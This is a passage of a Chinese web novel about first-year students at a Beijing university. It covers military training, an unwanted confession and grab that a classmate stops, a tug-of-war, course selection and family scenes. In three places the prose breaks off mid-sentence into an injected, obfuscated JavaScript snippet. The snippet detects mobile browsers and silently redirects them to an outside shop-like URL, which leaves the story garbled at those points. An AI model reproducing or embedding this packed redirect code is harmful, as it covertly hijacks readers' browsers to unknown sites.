刷卡的时候俩人一共才花了十几块,他还悄悄问祝岁祯打饭师傅是不是按错了。 祝岁祯说并没有,拿了筷子找到位置坐下来,给富二代科普学校食堂的饭菜价格。 俞惟叙在心里简单算了下,祝岁祯每天都来最便宜的几个档口,一个星期花的伙食费还没他随便点一顿外卖贵。 祝岁祯也大概知道他没说话的时候在想什么,她每天在吃饭上的花销在同学们里面都算少的。 不过她也没亏了自己的嘴,毕竟爸妈一个月给她两千生活费,衣服鞋子这种都是妈妈给买。她偶尔去买个饮料、称点儿水果、来包薯片,倒也不至于过得多贫困。 吃着吃着,祝岁祯突然想起大黄说的,问俞惟叙:“鱼仔,你有新外号了,听过吗?” “外号?什么外号。” “他们管你叫‘二阀哥’,哈哈哈。” “什么意思?” “说你是财阀二代,加学阀二代,简称:二阀哥。” 食堂这大锅饭做得太糙了,俞惟叙本来吃得就难受。知道自己得了这么个外号,就更难咽下。 祝岁祯憋着笑,看他无语的样子。 “夸张了……我家在北京排不上号,说出去朋友要笑话我了。” 祝岁祯摇头:“俞总太谦虚。” 俞惟叙继续吃饭,祝岁祯告诉他这两天训练了什么项目。下午理论课提前结束,祝岁祯跟舍友们吃完饭回寝室,把理论课的作业写完,等着晚上的拔河比赛。 她一看时间,突然想起来申越要来找她,差点儿给忘了…… 祝岁祯:【我OK了,在哪里见呢?】 申越:【你们学校的西北门吧,现在过来就行,洗衣店旁边】 他居然已经到了?不用军训的吗?这到底是多大的事啊? 她带着满脑子的疑问往西北门去。从地图上看,学校西边一长溜儿全是家属住宅区,祝岁祯一边看,一边猜俞惟叙住哪栋。 她头一次来学校的这个门,和东边大门不同,这里来往的中老年人比例更高,偶尔有带着小孩的,生活气息十分浓厚。大门左边临街是住宅区的干洗店、生鲜超市之类,右边是学校的一栋科研实验楼。 申越穿了件浅棕色的短袖,黑色裤子,隔着这条路看着她。 祝岁祯微微笑着,挥手和他打了个招呼,走到他面前:“哇,越老师,黑了哦。” 申越也笑了:“我们比你们开学早,这些天可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313080|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是白晒的。” “哈哈,挺好的,不缺钙。哎呀,在北京能见到老同学可真不容易,咱班好像还有一个在朝阳的,回头得聚一聚。” 与此同时,俞惟叙和箫剑从食堂的方向过来,穿过马路,往水果店走去。今天食堂的水果店突然没营业,他们只能去西北门看看。 箫剑看着宿舍群里大黄和鸡哥的消息,问俞惟叙:“西瓜咱买冰镇的还是常温的?冰镇的到宿舍估计也成常温的了。” 俞惟叙眯起眼睛看前面那个穿着军训服的身影,随口回他:“有冰的就买冰的,起码保鲜了。” “他俩还要可乐,今天晚上集合晚,你来宿舍多待会儿。”箫剑说着说着,感觉不对劲,“鱼仔,前面那个好像是祝岁祯啊?” “嗯,我看也像。” “嚯,这男的谁,别的学院的?也不对啊,怎么没穿军训服。” “不知道,不管,咱们买咱们的。”俞惟叙说着,眼神却没离开那两人。 “行。” 见那俩人正说话,俞惟叙和箫剑就没打招呼,从祝岁祯背后经过,往旁边水果店去。 祝岁祯浑然不觉,她的注意力都用来强撑着,装出见到老同学很开心的样子。 可她每多看他一秒,就会多想起来一些和路齐江相处的点滴。 申越观察了她一会儿,才开口道:“我以为你会跟我说两句路齐江,看来也没多难过。” 祝岁祯变了脸色,努力构筑的表象被他一句话击溃。 她偏过头,语气沉寂:“不然呢?我能怎么办……把心情挂在脸上给所有人看,等别人干巴巴安慰吗?” 她不是没放纵过,任由自己沉溺在悲伤、仇恨和自厌中,认为这世上的一切都毫无意义,可结果是什么?是父母一夜老去的容颜、是所有相识的人的背叛和疏远、是差点儿就失去的未来。 她既然已经一刀一锤地把自己重新锻造,就不会让自己再走老路。往日不可追、逝者不再见,她能做的只有带着路齐江对她的好,不辜负他的努力,好好活着。 申越盯着她莹白的耳垂,无所谓地说:“有什么好安慰的?本来你们之间也不是什么爱情,就当是少了个玩得好的朋友。” 祝岁祯抬起头,脸色略带愠怒:“我们不是爱情?你又怎么知道。” 申越嗤笑一声:“你们俩以为我天天刷题,一点儿没关注你们吗?祝岁祯,你那时候精神状态太差了,谁对你好你就当救命稻草。你那不是爱,是依赖,盼着他帮你救你。” “我没有……” “别着急否认,我问你,你和路齐江谈了以后,见过几次面?有过亲密接触吗?” 祝岁祯愣住。 他轻蔑地笑了下:“路齐江不知道我跟你表白过,拿我当军师参谋呢,呵。我觉得挺有意思,也想知道你谈恋爱是个什么样。” 祝岁祯知道他俩高考完之后还有联络,但路齐江对她说的是他们在商量报志愿的事。 “但是看来不怎么样嘛。他怕你受刺激不高兴,什么都不敢做。你对他也客客气气的,还跟同学一样。” 申越离她近了一步:“祝岁祯,路齐江是不是那方面不太行?” 她眼里燃起怒火。 7. 第七章 见她不高兴,申越笑了笑:“生气了?我开玩笑的,别这么不经逗。” 祝岁祯不好发作,但也没忍着:“我们怎么谈恋爱那是我们的事,不用你操心。是不是爱情,你说了不算。” 申越点点头:“好,无所谓,就当我什么都没说,你也什么都没听见。”他顿了顿,“你来M大这些天怎么样,还适应吗?” “还行,就是北京有点干。你呢?” “我发朋友圈了,你没看到吗?” “看到了……” “为什么不给我点赞,也不给我评论。” 祝岁祯突然明白了,怪不得他发的动态没一个赞评呢……大概是设置了仅她可见。 这人什么意思啊? 祝岁祯掏出手机:“来,我现在给你点。” “不用了,你看见就行。” 她问道:“你们凌晨还跑20公里啊?跑完干什么,总不能接着训练吧?” 申越笑道:“当然休息啊,白天休息,晚上观影。我们是军训,不是受刑。” “那就好,别再累坏了,别人上学要钱,你们T大上学要命。” “哈哈,身体差的在我们学校毕不了业。你们学校的军训强度怎么样,有人晕倒吗?” 祝岁祯挠了挠头:“我能说我晕倒了吗……” 申越神色一滞:“你说真的?你真晕倒了?” “也不算吧,不是因为军训。苏稳告诉我路齐江出事了的时候,我有点儿……”祝岁祯叹了口气,“我应该再坚强一点的。” 申越急道:“受伤了吗?!去医务室了吗?” “去了去了,同学送我去的,没事,别担心。” “我怎么可能不担心!”他深呼吸了一下,“我这次来,其实是想说……” 她静静地看着他。 “祝岁祯,咱们开学第一天的时候我就喜上你了,但是碍于要高考,一直憋着没说。你那时被欺负,我很后悔当时没能帮你。我后来一直在想,如果当时为你挺身而出的是我、追出校门找你的是我,是不是结局会不一样。” 祝岁祯眼神开始游移到别处。 不会吧,他不会是要…… “你之前拒绝过我一次,那时候你喜欢路齐江,OK,我退出。现在呢?” 申越眼睛一错不错地盯着她的表情: “现在你单身,咱们又相处了一年,我虽然不如路齐江和你聊得多,但无论如何不比别人差。现在我考上T大,咱们学校离得近,来回串门也方便。” 他牵住她的手,郑重道: “祯祯,做我女朋友吧,我会对你很好的。” 俞惟叙和箫剑拎着西瓜零食从祝岁祯身后经过,这话飘进两人耳朵,箫剑差点儿原地蹦起来。 卧槽!表白了!哇哇哇美女被表白了! 箫剑努力压抑住兴奋的心情,看向俞惟叙。 鱼仔的脸没有表情,甚至可以用冰冷来形容。 箫剑不知道他是不是没听见,只好跟着他继续往前走,走远一点再跟鱼仔聊。 祝岁祯本来想过申越来找她的目的,比如商量个时间回去看看路齐江。她也准备好了说辞,拒绝回去再受刺激。 可她万万没想到,申越是来找女朋友的。而且根据他发朋友圈的时间推测——他几乎是知道路齐江去世后,立刻动了心思。 祝岁祯知道了,他就是个npd,只把路齐江当学习搭子,自私冷漠到极点。 “抱歉……我现在真的不想谈。” 申越的语气瞬间不好了:“你还想着路齐江?!他已经不在了。而且我说了,你只是太依赖他,你把他当亲哥!” 申越伸出双手,捏住她瘦削的肩膀:“祯祯,和我在一起吧,我知道你伤心,离家这么远也需要个熟悉的人陪伴,我是最合适的人。” 他轻轻晃了晃她:“路齐江没给过你的恋爱体验,我可以给你,我会让你每天都开心,你想去哪里我都可以陪你。” 祝岁祯听完他这些话,心里竟然没什么波澜,推开他的手: “T大学业挺重的吧,哪有闲工夫陪我,你是想让我陪你吧?” 申越抓住她细细的手腕:“有什么区别?多个男朋友总不是坏事吧?有事可以来找我商量,有难处了可以找我帮忙。” 祝岁祯皱眉跟他讲道理:“申越,我觉得你有句话说得对,我这些天也不断在想,我是不是太依赖路齐江了。人终有一死,谁都靠不住,还是要学着自己处理自己的事。” 她扭动手腕想挣脱:“所以,我这几年应该都不会谈。你挺好的,又去了T大,再看看别的女生吧。” 申越这人看着不壮,哪儿来的这么大力气。她越挣扎,申越抓得越紧。 突然,他使了点儿劲,把祝岁祯一把扯过来,强行抱住了她。可下一秒,就被去而复返的俞惟叙扯住后衣领。 俞惟叙侧脸绷得极紧,眼神中威胁意味十足:“把你的手松开。” 旁边箫剑一手拎着所有的袋子,一手举着俞惟叙的手机对申越说:“你谁啊你,我这儿可录着呢。” 申越还没反应过来,俞惟叙快速抓住他胳膊用力拽开。 在申越吃痛之际,俞惟叙一手隔开祝岁祯把她挡在身后,一手把申越推开。申越踉跄了一下,赶紧稳住身形,怒气冲冲地就要去拉祝岁祯。 俞惟叙比申越高了半个头,微扬着下巴,气势极强地质问:“你哪个学院的?” “要你管闲事?!” 祝岁祯被这一连串变故吓了一跳又一跳,可俞惟叙宽阔结实的肩膀又给了她安全感。 祝岁祯是绝不想让他因为她惹上什么事的,赶快拉着俞惟叙短袖扯了扯: “他是我高中同学,T大的……” 俞惟叙手伸到背后,拢住她的手指往后推,让她松开自己的衣服:“往后站站,别一会儿碰着你。” 祝岁祯心惊胆战,根本不敢离他太远。 俞惟叙扯了扯嘴角:“T大的?学霸不忙吗?有空来我们学校欺负女生。” 申越指着他:“说话注意点,我没欺负她,你少在这里装什么英雄救美。” “呵”,俞惟叙冷笑,“没欺负她拉拉扯扯做什么?你看她愿意吗?怎么着?这是你们学校的军训项目?” 申越警告他:“我劝你少管别人谈恋爱的事!” 祝岁祯从俞惟叙身后探出半个脑袋:“我没答应你。” 俞惟叙轻蔑地笑了笑,做了个往外赶客的动作:“听见没,人家不同意,别上赶着了,回去吧。” 申越被俞惟叙像打发野狗一样的态度激怒,对方过于出色的外形也让他感受到了威胁:“你给我滚开,这儿没你事,别逼我揍你。” 俞惟叙上前一步,表情变得极冷:“我不跟你打,看见没,旁边录着视频呢。你要是敢动手,这证据立马就能交到你们校领导手里。被劝退还是开除,你选一个。” 箫剑也插了句:“兄弟,考上T大不容易吧?怎么样,想再考一次?” 祝岁祯赶紧出来劝他:“申越你快回去吧!” 俞惟叙长臂一伸把她挡住:“别往前走。” 祝岁祯想赶快结束这个状况,只能扒着俞惟叙的胳膊看着对面: “申越,非要我说实话你才肯走吗?抱歉,我喜欢长得帅的,起码是路齐江那样的。我知道你去T大很了不起,但对我来说没用。你快回去吧,我们晚上还有训练。” 说完,她拉着俞惟叙转头就走。 箫剑举着手机继续对准申越,倒退着断后,“别过来啊,这周围全是监控!” 见申越面色铁青地转身朝大门走去,箫剑才关掉手机递给俞惟叙。 祝岁祯赶紧给他俩道谢。 箫剑转头看她:“谢啥,应该的。话说下次谁再跟你表白,你早点说你要帅的,省得人纠缠。幸亏我回头看了一眼,好家伙都抱上了……” 祝岁祯解释:“我也不是非要……算了没事。我没想到他居然动手,他以前不这样,特别高冷的一个人。” 箫剑笑道:“再高冷的,见了你也冷不起来,不当舔狗就算他有种了。” 祝岁祯赶紧摆手:“不至于不至于……” 俞惟叙说:“这就是你中午说的,要来找你的同学?” 祝岁祯脑子乱糟糟的,有气无力地回答:“对。” “他没怎么着你吧?受伤了吗?” 祝岁祯低头看了下手腕,细白的胳膊上红了一大圈,她揉了揉:“没事,幸亏你们来的及时,谢谢。” 箫剑豪迈地说:“不用谢,就是看不惯有些男的欺负女孩。居然还跑到人家学校撒野,考T大又怎么样?先学会做人吧。” 他皱眉嫌弃道:“这T大、P大里面,不会都是些高智商的疯子吧?以后到社会上不得害人啊!” 俞惟叙笑了笑:“怎么可能,正常人是大多数。但是听朋友说过有些成绩跟不上的,精神状况可能会出问题。” 见祝岁祯和箫剑都看着他,俞惟叙解释道:“尤其是那些靠没日没夜刷题来的,周围全是状元和竞赛保送生,被人碾压排名变成倒数,落差会很大。” 祝岁祯默默想着:那我可得离申越远一点,万一他哪天真疯了…… 箫剑扭头对她说:“你别怕啊,以后这货要是再来找你,你赶紧摇人,男寝有几个我喊几个都来给你撑腰。他奶奶的,我们M大绝不能这么窝囊。” -.- 因为晚上只有一场拔河比赛,集合时间比平时要求的晚了些。同学们都吃饱喝足休息好了,出发去足球场开干。 这次拔河分了好几个场地,不同学院在不同的位置,同时进行。金院四个班,1、2班对抗,3、4班对抗,女生先拔。 祝岁祯把鞋带系得紧紧的,戴了防滑手套,被教官安排在队尾,和小羊一起。 大黄和鸡哥看了看两边的阵容,实在有点惆怅:“嘶——人家1班的女生,个子高的多啊,最后面还有俩重量级压阵,这把有点儿悬。” 祝岁祯听见,根本不抱希望:“就我这个头,都能站倒数第二排,唉。” 鸡哥不服,和教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313081|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官抱怨:“陈哥,这不公平啊,差距有点大。” 教官双手叉腰:“你没看前面呢,1班前面几个女生个子低。你们班前面的女生个子高些,而且瘦的少,总体来说不算很吃亏。要是担心的话,你们男生当拉拉队的时候使点儿劲。” 祝岁祯在教官的安排下摆好架势,冷不丁对上旁边俞惟叙带着笑意的眼睛。 “加油。”他对她说。 祝岁祯抿着嘴巴,颇为悲壮地点点头,那表情分明没什么信心。 教官拿着喇叭说:“哨声一响,男生都给我喊‘一二、一二’,按这个节奏喊,别说废话,懂吗?女生,你们在男生喊‘一’的时候猛使劲给我往后拉。不要喊、不要说话,憋住全身的力气拉绳子。” “哔——”哨声响起,两边如火如荼地喊起来,祝岁祯快把牙咬碎了拼命地拽绳子,身体压低重心朝后。 可惜绳子还是一点一点地被1班拉走,男生恨不得搭把手。最终绳子中间的红布条越过了1班的边界线,2班痛失疆土,哨声吹响。 祝岁祯放下麻绳,活动脱力的胳膊往旁边啦啦队的区域走,和男生交换场地。 突然,头顶被人用五指山整个罩住,轻轻捏了捏。 “手套给我。”俞惟叙的声音响起。 祝岁祯把皱巴巴的,被绳子摩擦到有点变形的手套脱下来,放在他手上:“加油。” “嗯。” 男生上场,一个个带手套之后,把麻绳捡起来。队尾的几个高个子男生并没去碰绳子,而是聚在一起,把短袖的袖子撸到肩膀上,露出整条胳膊。 祝岁祯和几个女生茫然地看着他们,紧接着这几个男生开始cos健美先生,攥紧拳、勾着手臂用力,互相秀肌肉。 女生们和教官:…… 算了,正是爱装逼的年纪。 俞惟叙本来人淡如菊,慢悠悠地戴手套,见状居然也撸起袖子加入了。 只见原本看着好像还挺正常的胳膊,被他零帧起手咔的一下,肱二头肌直接爆出来一大块,血管浮在上面清晰可见,几个男生闹着起哄。 “鱼仔可以啊鱼仔,怎么练的带带我。” “我摸摸!让我摸摸……” “卧槽我就知道你小子是练过的。” 祝岁祯不好意思再看,赶紧扭头向别处。 1班那边差不多就位了,2班的男生们都嚷嚷着要干爆1班的男生,势必要把女生输掉的赢回来。 这次策略还是一样,女生喊口号男生跟节奏。哨声一响,男生表情狰狞地用力,女生一起喊着“一二、一二”,有几个女生差点儿喊破音。 开场前秀肌肉的几个男生也不示弱,一个个大膀子强度拉满。 俞惟叙简直判若两人,平时是个有点高冷的翩翩公子,而此刻赛场上,双方纯比拼力量的时候,他整个人变得原始又野性,胳膊上爆发出苍劲的肌肉,脖子和额头青筋凸出,看着有点……吓人。 祝岁祯突然想起下午他和申越对峙的场景,她小心躲在俞惟叙的宽肩之后,听到申越说想揍他的时候生怕眼前这富二代出个什么意外,到时候人爸妈找来学校可就麻烦了。 现在看来,谁出意外还不一定呢…… 当时申越单手拉住她手腕,她无论如何也挣脱不出。 再看眼俞惟叙,哇,一拳能把自己打飞十里地。 终于哨声响起,2班赢了,祝岁祯跟着女生们开心地欢呼,男生一个个装出十分轻松的样子说对面太拉了…… 回去的路上,俞惟叙在祝岁祯宿舍后面走着,有班上的男生找他聊天。 “鱼仔,你练了多久啊?怎么练的?” “也没专门练肌肉,只是有运动的习惯。要说去健身房的话,是从高一开始的。” “高一就去健身房了?不愧是大城市的学生。你去哪家健身房啊?是不是特别贵的那种?” “不贵,主要是图个方便。我高中在T大附中,下午放学了就去T大的健身房,办张卡就行比外面健身房便宜。” “你高中就能天天去T大啊?这么爽。” “近啊,放学之后从学校南门直接进T大。更不用说那些教师子弟了,随便去图书馆自习,拿爸妈的卡去食堂吃饭。” “这还不爽!T大哎,这可是多少学生的梦校,我们外地的想进去只能参观,你倒好,跟回家了一样。” “嗐,就那么回事儿。我刚开始除了去健身房哪儿都不逛,后来认识几个学长,才跟他们去打打球啊什么的。同学一放学就去辅导班,没人跟我玩。” “辅导班?你们学校的还用去辅导班?” “去啊,去的人特多,因为老师课上讲的简单。然后就是那批冲竞赛的,放学和周六日就全是竞赛课,排得满满当当。” “你补过课吗?” “高三下半年的时候补过语文,考得太烂了。高三上半年学过信息竞赛的课,但是学得太晚对高考没什么帮助,就当兴趣班玩了。” 祝岁祯发现这一路上周围没什么人在聊天,都只顾着听俞惟叙说话了。 8. 第八章 新的一天,新的……军训…… 不过今天倒是不太一样,大家的关注点不在军训,而是两个重磅级日程:内务评比和选课。 内务还好说,和上次一样藏东西就完事了。选课是重头戏,直接关系到这半年的学分和绩点。 学姐学长们的悲催经验在前:期末流的泪,都是选课时脑子进的水。 有了历届学长学姐的助攻,新生们已经拿到了一些水课名单,出勤不严、内容轻松、考试简单,什么都好就是僧多粥少。 上午军训休息时,同学们都在商量,如何设置网络才能快速抢到心仪的课程。 “鱼仔真爽啊,两年不用选课,唉……”大黄羡慕地看舍友。 俞惟叙低头刷手机:“牛津的课也不好糊弄啊,我个人觉得还是比咱学校的难度高。” “那你在这儿忙啥呢?” “找房子。” “啥?”大黄探头看他手机。 “宿舍早没了,只能租房子。但是现在连租房可选的都不多。” “英国房租肯定贵吧……” 俞惟叙坐直身体,抬头活动一下脖子:“我大概看了几个勉强能住的,大概一千八、九磅。” “汇率是……哎呀你直接跟我说人民币价。” 俞惟叙粗略估算:“加上水电网,将近两万吧,一个月。这是便宜的,我还想再看看有没有更好一些的。” 周围同学,包括祝岁祯,都瞪大了眼。 大黄仰天长叹:“我毕业一个月能不能到手两万都难说呢,你出去交换,光房租居然就花两万!” 俞惟叙无奈道:“这怎么能放一起比?你应该用牛津毕业生在伦敦的工资,来跟房租比较。而且他们就算在校外住,大部分也是合租的,花销比我少得多。” 周围几个人都不想说话了,真是的,干嘛跟富二代聊钱呢,不是找刺激么? 小羊问:“那你在咱学校的房子呢?退租?” 俞惟叙想了一下:“不知道,看我妈怎么处理吧,她租的。不过估计不会退,我妈秘书说,这套是当时能找到的房子里面,装修最好的。回来不一定能租到这个水平的。” 他指了指西边:“毕竟咱学校的家属楼都是八九十年代的老破小,咱都得管人叫哥。” 小羊:“你可以转租出去啊,等回来就能住了。” 俞惟叙想了想:“有点麻烦,房子是秘书在管,不想再给她增加工作量了。而且里面家具都是新的,不想回来用二手。” 大黄觉得奇怪:“新的?” 俞惟叙点头:“对,都是我妈的配货,扔在另一个房子里没用过,趁我租房子刚好给她清清库存。要搬回去是不可能的,她才懒得理。” 祝岁祯噗嗤一声乐了:“有点好笑是怎么回事。” 俞惟叙看着她说:“我可是我家里地位最低的,用的都是我妈不要的,衣服鞋什么的也都是她的配货,包括这间房子里的家具。” 小羊立刻明白了,笑着说:“是不是爱马仕之类的配货,一个桌子几十万那种?我懂我懂,养马的富婆们都这样。什么老公儿子,在她们眼里纯粹是配货搭子。” 俞惟叙吐槽:“对,还有些别的牌子,哎哟我真服了……就喜欢那些限量稀有皮,为了等个包儿,买一堆没用的扔房子里。” 祝岁祯静静看着富二代凡尔赛,说不羡慕那是假的。她也好想体验这种有钱人的烦恼啊,甚至不用这么有钱,小康就行。 她低下头,还是看看选课吧,下午手速要快。她有点想抢一个心理学相关的课程、和一个音乐鉴赏的课,外国语学院的英语翻译课也不错,但是好像时间有点冲突…… 导员说M大有校际选修课,学院路上这些学校可以互选,学分通用,但要交钱,校内的免费。现在课程名单还没出,她有些纠结要不要选A大的课程。 路齐江没能上的学,她想代替他体验一下。但又害怕,怕自己控制不好情绪。 见祝岁祯不怎么高兴,俞惟叙也不太想聊了,简单应付同学几句,继续低头看房子。 午休结束,整个楼层又开始热火朝天地扫地拖地扔东西,公共洗漱间的超大号垃圾桶没一会儿就满满当当。比分出来后,祝岁祯宿舍保持第二。 小羊那边传来喜讯,大黄宿舍排名从倒数第一上升至第三,全都归功于俞惟叙同志的牺牲。毕竟他不住宿舍,但贡献出了自己的柜子给大家藏臭鞋脏袜。 折腾半晌,开始选课。同学们自己有电脑的就在宿舍抢,没电脑的去学校机房。 时间一到,音乐鉴赏课刚刷出来就没了,祝岁祯只好赶紧抢心理的那门课。在寝室里关着门都能听到隔壁寝室的哀嚎,看来大家都不是很顺利。 没办法,除了新生,还有高年级的学长学姐也在抢呢,网页卡得要命。 她看见英语翻译的课程好像还有名额,虽然心里明白,这会儿能剩下的都不是什么“好课”,但秉着实用主义理念,她还是按下了选择按钮,点击确认。 这两个课都是1.5学分的大课,她算了算,不出意外的话按照这个进度,大三肯定能修完选修的学分,她放心地退出了教务系统。 四个人对了一下选课,祝岁祯和远文都选了心理课,另外俩舍友都只选了一门选修,而且没有重合的。小羊正在打电话让大黄退了已经选好的课,和她上同一门,大黄只能无奈听指挥。 选好课之后,今天彻底没安排了。晚上足球场要布置明天红蓝对抗赛的场地,学院各班抽了几个自愿报名帮忙的男生,剩下的同学们自由活动。 祝岁祯上厕所时,听见隔壁宿舍说要出去唱K,回来兴奋地和舍友们提建议,然而……其他三个都不想去。 大黄订了个颇为小资的餐厅,小羊正美美化妆要去和他共度甜蜜时光;梦梦可算有时间了,一门心思地投入追星大业,把这段几天攒的物料都啃完;远文……远文没什么安排,她只是没钱。 祝岁祯只好躺床上刷刷剧。 -.- 俞惟叙从导员那里拿了假条,从金融学院门口出来,坐上老爸开进学校的辉腾。这车是俞况前几年发了篇重磅级的nature时,老婆关理之送他的礼物。 关理之本来给他批了预算让他买个好车,结果回家看见车位上,居然多了辆崭新的大众。 她正想发作,是哪个不长眼的乱停车! 这小区最便宜的一套小户型也得两三千万了,按理说素质都挺高的。再仔细一看,是辆辉腾。 她打电话问了俞况,才知道这是他刚提的车,他甚至还自己掏钱又补了点儿才拿到顶配版。 哦,那没事了,还挺低调。 俞况不想让人有不好的印象,比如招博士生是拿了人好处之类的。他收学生都是只看学术水平的,毕竟有老婆在,家里又不缺钱。 这就导致不识货的学生们纷纷感叹自家俞导的高风亮节:别家老板都开上BBA了,只有我家帅导儿,常年一辆大众代步,简直是两袖清风一身正气。 车子出了校门一路向南,在阜成门南大街拐进武定侯街。 周一下午这会儿正是上班的时间,金融大街宽阔的路面上车少人少,两旁写字楼大多数以灰白色调为主,严肃而庄重地默然矗立,一块块巨型玻璃幕墙里面,是经手亿万资产和流水的从业者。 车子驶入中海凯旋,两人进门后俞况问他:“想吃什么?今天陈姨请假了,我给你们做。” 俞惟叙脱鞋随意道:“都行吧,你要做饭的话叫我,给你打下手。” 俞况把包放下,惊讶地看了他一眼:“哟,军训还有这功能呢?逆子终于知道他老父亲的不易了?” 逆子瞥了老父亲一眼:“你不易个什么,一年到头进过几次厨房?一只手都数得过来。” 俞况觉得自己有理:“我起码还进了,理之她进过吗?我算不错的了。” 俞惟叙点头:“好好好,你不容易,所以我给你搭把手。等我妈回来记得提这茬儿。” 他爸皱眉:“你又憋什么坏屁?” 少爷大拇指和食指中指捏在一起搓了搓,给他爹一个“你懂得”的眼神: “我想在学院旁边租个好点儿的房子,顺带买辆车开开,不贵,从学长那儿遛来的二手迈凯轮,他想换工作去芝加哥。” “要钱啊!切,我还以为你走之前舍不得我,要孝敬父母呢……”俞况觉得自己被儿子渣了。 “当然舍不得你呀我的况哥!但是儿子我为了家庭的未来,辛辛苦苦去那么远的地方出征,大后方这粮草可不能断啊。” “哎呀行了行了,去你的吧。” 俞惟叙想笑又憋住了:“是‘去~你的吧’还是‘去你的吧’?这可是完全不一样的意思……” 他爹去洗手,扔下俩字:“都有。” 俞惟叙还没来得及说什么,突然裤腿被扒住了。 他低头一看: “哎哟~这是谁呀~欠儿姐来啦欠儿姐!” 俞惟叙弯下腰,从猫咪前腿根处捧起布偶软乎乎的小身子,抱在怀里。 “欠儿姐”,是俞惟叙给家猫起的名字。 这小家伙刚来的时候,特别爱把桌子上柜子上的东西扔地上,爪子太欠,但是母上大人对它又十分溺爱,是亲儿子都不可以给脸色的存在,因此俞惟叙管它叫:欠儿姐。 它还有个大名,叫“之之”,是关理之用自己名字给它起的,可见猫咪在家里的地位。据老妈说,之之血统相当高贵,亲爹妈是十来万的赛级猫,买它回来花了八九万。 但这猫不知道的是,俞况也给它起了个名字:暗物质。所以也叫“质质”。 它刚来家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313082|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,一听见开门声就躲起来,俞况找遍了屋子都看不见它,但是知道它肯定在房子里,和暗物质在宇宙中的存在状态差不离。 俞惟叙在沙发上边看电视边撸猫的时候,祝岁祯在学校里,见到了久仰大名的校猫。 她看完一集电视剧,实在有点馋想吃点零食,穿着拖鞋换了条黑色雪纺阔腿裤,抓起饭卡就邋邋遢遢地下楼了。 去学三宿舍楼下小卖部逛了逛,刷了瓶椰子水和巧乐兹出来,然后往北边溜达。 北边有一片小园子,里面草坪、灌木、人工湖、小凉亭小桥之类都有,据说是本校情侣谈情说爱时常光顾的地方。不过因为没开学,这会儿几乎没人。 她撕开雪糕包装,一边吃一边在湖边散步,突然,她站住了。在白石桥底台阶旁,一只狸花撅着屁股趴在台阶边沿,全神贯注地看着水面。 哦吼!学长! 祝岁祯还记得,收到录取通知书刚进新生群的时候,会爷就说过,学校有三只校猫,人称:狸橘白三剑客。让新生们见到学长记得问好。 她当时把这事当个笑话发给路齐江,说既然校猫绝育了,那应该叫“学监”才对。 路齐江立刻发来一串痛苦表情,说求学长们快点捂住耳朵不要听,是恶评…… 祝岁祯有点兴奋,拿出手机悄悄靠近,蹲下拍它。 这只喵非常有耐心,祝岁祯等得雪糕都快化了,它终于用无影利爪飞速捞起一条灰青色的小鱼,动作之快令她赞叹。随后按住小鱼不叼走,直接就地开席,吃最新鲜的刺身。 祝岁祯也咬了口雪糕,当它的饭搭子。 雪糕没了,猫也撤了,只剩湖水映着绿树蓝天和白桥,微微漾着细波。她起身把雪糕棍塞进包装袋,出园子找垃圾桶。 “哈喽,是祝岁祯学妹吗?” 她回过头,见白石桥上下来一个男生,手里拿着相机。 “我是媒体宣传部的辛君,材料学院的,比你大一届。” “哦哦,学长好……” 有点小帅的学长笑了笑:“不认识我没关系,咱学校官方号发布的军训文章里,有三分之一照片是我拍的,我也负责所有照片的后期修图。” 祝岁祯头一次听说还有这东西:“军训文章?诶?我没看过。” 辛君惊了:“啊?没看过吗?那可是学姐学长们晚上辛辛苦苦赶出来的呢……” “对不起对不起……我都不知道咱学校还有官方号,我这就关注!” 她把椰子水用胳膊夹住,赶紧解锁手机。 “没事啦,也不着急这一会儿。我找你是有别的事。”辛君微微笑着,到她旁边,把相机屏幕旋转了一下。 “刚才在湖对岸拍了你和校猫的照片,要看看吗?” 祝岁祯眨了眨眼:“拍了我吗?” 她侧头看屏幕。辛君用了长焦,画面上因为夕阳的原因,背景是朦胧的金色的光,前景是她穿着军训的短袖和黑色薄阔腿裤,踩着白色大号拖鞋蹲在地上,手里的雪糕吃了一半。对面狸花猫尾巴翘得高高低头吃东西,画面上一人一猫的侧脸十分和谐。 “好看吗?我觉得这张太有感觉了!”辛君非常满意自己的作品,感觉自己今年肯定能在学校的摄影比赛里拿奖。 “呃……拍得挺好的。”她看着屏幕上那个不修边幅的自己,艰难附和着。 “我加你个好友吧,照片等我处理好了发给你。”辛君把相机肩带挂脖子上,腾出手来拿手机。 虽然自己太邋遢了点,但这是和校猫的合照,还是有一定纪念意义的。祝岁祯解锁手机:“哦哦,好的,我扫您。” 